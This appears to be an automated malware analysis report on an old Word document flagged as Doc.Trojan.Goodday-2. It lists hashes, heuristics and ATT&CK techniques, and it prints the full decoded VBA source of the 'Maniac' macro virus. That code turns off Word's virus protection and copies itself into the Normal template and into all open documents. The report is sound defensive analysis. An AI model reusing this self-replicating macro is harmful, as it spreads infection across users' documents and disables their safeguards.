Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 023cdc80f0e574b4…

MALICIOUS

Office (OLE)

41.5 KB Created: 2001-02-20 11:53:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 5bb23d2f041c0872b42a8731b23db691 SHA-1: a292c4c1c6467c2ddae673f69876b80b8f59cb91 SHA-256: 023cdc80f0e574b40bc31a156951df44dab42b4b5699ce69bd4bccb2b4abe382
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including AutoOpen and Auto_Close, which are commonly used to execute malicious code upon opening or closing a document. The macro 'Maniac' attempts to copy itself to other documents, indicating a potential for propagation. The presence of these macros and the ClamAV detection strongly suggest malicious intent, likely as a macro-based downloader or dropper.

Heuristics 5

  • ClamAV: Doc.Trojan.Goodday-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Goodday-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2296 bytes
SHA-256: 084f33e26f8d7f53a1275f0474f76eb9037cd29303764a882384be877dfa764e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Maniac"
Sub AutoOpen()
Attribute AutoOpen.VB_Description = "宏在 99-05-05 由 Administrator 创建"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.AutoOpen"
  
  MacroCopy "open"
  
End Sub
Sub AutoNew()

  MacroCopy "new"
  
End Sub
Sub AutoClose()

  MacroCopy "close"
  
End Sub

Sub MacroCopy(ctype)
    
  Application.Options.VirusProtection = False
  
  TExist = 0
  'For Each xItem In NormalTemplate.VBProject.VBComponents
  For Each xitem In NormalTemplate.VBProject.VBComponents
    'If xitem.Type = vbext_ct_StdModule Then Count = Count + 1
    If xitem.Name = "Maniac" Then TExist = 1
  Next xitem
  If TExist = 0 Then _
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Maniac", Object:=wdOrganizerObjectProjectItems
    
  For Each openDoc In Documents
    'MsgBox openDoc.FullName
    DExist = 0
    For Each xitem In openDoc.VBProject.VBComponents
      If xitem.Name = "Maniac" Then DExist = 1
    Next xitem
    If DExist = 0 Then
      Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=openDoc.FullName, Name:="Maniac", Object:=wdOrganizerObjectProjectItems
      If ctype = "open" Then openDoc.Save
    End If
  Next openDoc
   
End Sub

Sub AutoExec()
  
  msg = Chr(13) + Chr(13)
  msg = msg + Application.UserName + ":" + Chr(13) & Chr(13)
  msg = msg + "    你好,很高兴来到你的计算机,我喜欢" + Chr(13) + Chr(13)
  msg = msg + "这里的一切,尤其是Microsoft Word,它使" + Chr(13) + Chr(13)
  msg = msg + "我们的工作变得异常有趣。" + Chr(13) + Chr(13)
  msg = msg + "    如果我的到来改变了你单调的生活,请" + Chr(13) + Chr(13)
  msg = msg + "不要介意。" + Chr(13) + Chr(13)
  msg = msg + "    愿计算机前的你心情愉快。" + Chr(13) + Chr(13) + Chr(13)
  msg = msg + "         Maniac write by " + Date$ + "         "
  MsgBox msg, vbInformation, "Maniac 1.0"
  
End Sub